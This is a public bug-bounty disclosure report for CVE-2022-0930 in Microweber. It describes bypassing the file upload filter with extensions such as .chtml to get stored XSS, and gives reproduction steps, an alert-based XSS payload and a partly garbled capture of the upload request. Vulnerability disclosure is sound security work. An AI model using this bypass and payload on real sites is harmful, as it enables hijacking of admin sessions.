File upload filter bypass leading to stored XSS in microweber/microweber

0



Reported on Mar 11th 2022

Description

A User can upload .[a-z]html file (e.g. ahtml, bhtml, chtml, ddhtml, AS LONG AS it ends with html) with XSS payload. Upon upload, a URL with malicious html can be accessed and javascript will be executed.

Proof of Concept (taking chtml as example)

Step (1) Login to the demo portal with admin creds at

https://demo.microweber.org/demo/admin/

Step (2) Add new > Page > Add file in picture

Step (3) Upload below file with content below and named as xss.chtml <div onmouseover="alert(document.domain)"

style="position:fixed;left:0;top:0;width:9999px;height:9999px;"></div>

Step(4) Access the link in response and once you move the cursor, alert box will be prompted

```
Pretty Raw Hex □ \n ■
                                                                                                                              2 Origin: https://demo.microweber.org
3 Sec-Fetch-Site: same-origin
4 Sec-Fetch-Hode: cors
5 Sec-Fetch-Dest: empty
6 Referer: https://demo.microweber.org/demo/admin/page/create
                                                                                                                                1 HTTP/1.1 200 OK
                                                                                                                                  Date: Fri. 11 Mar 2022 11:00:53 GMT
                                                                                                                                 Date: Ff, in ar 1022 11:00:53 on!
Server: Apache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
                                                                                                                                 Last-Modified: Fri, 11 Mar 2022 11:00:53 GMT
                                                                                                                              Connection: close
Content-Type: application/json
Content-Length: 125
       ----WebKitFormBoundaryaqVzRWySstr5PbqA
  Content-Disposition: form-data; name=
                                                                                                                                    "https:///demo.microweber.org\/demo\/userfiles\/media\/default\/xss.chtml",
"name":"xss.chtml",
          --WebKitFormBoundaryaqVzRWySstr5PbqA
 6 Content-Disposition: form-data; name="chunk
                                                                                                                                    "bytes_uploaded": "591"
      ----WebKitFormBoundaryaqVzRWySstr5PbqA
O Content-Disposition: form-data; name="chunks
    -----WebKitFormBoundaryaqVzRWySstr5PbqA
4 Content-Disposition: form-data; name="file"; filename="blob"
5 Content-Type: application/octet-stream
 c
c
cdiv onmouseover="alert(document.domain)"
style="position:fixed;left:0;top:0;width:9999px;height:9999px;"></div>
-----WebKitFormBoundaryaqVmFWySstrSPbqA--
```

demo.microweber.org 顯示 demo.microweber.org



Impact

If an attacker can control a script that is executed in the victim's browser, they might compromise that user, in this case, an admin, by stealing its cookies.

CVE

CVE-2022-0930

Vulnerability Type

CWE-434: Unrestricted Upload of File with Dangerous Type

Severity

High (8

Visibility

Public

Status

Fixed

Found by



James Yeung

unranked 🗸

Fixed by



Bozhidar Slaveykov

Chat with us

This report was seen 911 times

We are processing your report and will contact the **microweber** team within 24 hours. 9 months ago

James Yeung modified the report 9 months ago

James Yeung modified the report 9 months ago

Bozhidar Slaveykov validated this vulnerability 9 months ago

James Yeung has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

Bozhidar Slaveykov marked this as fixed in 1.2.12 with commit 33eb4c 9 months ago

Bozhidar Slaveykov has been awarded the fix bounty 🗸

This vulnerability will not receive a CVE x

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

part of 418sec

company

about

Chat with us

leaderboard team

FAO

contact us

terms

privacy policy

Chat with us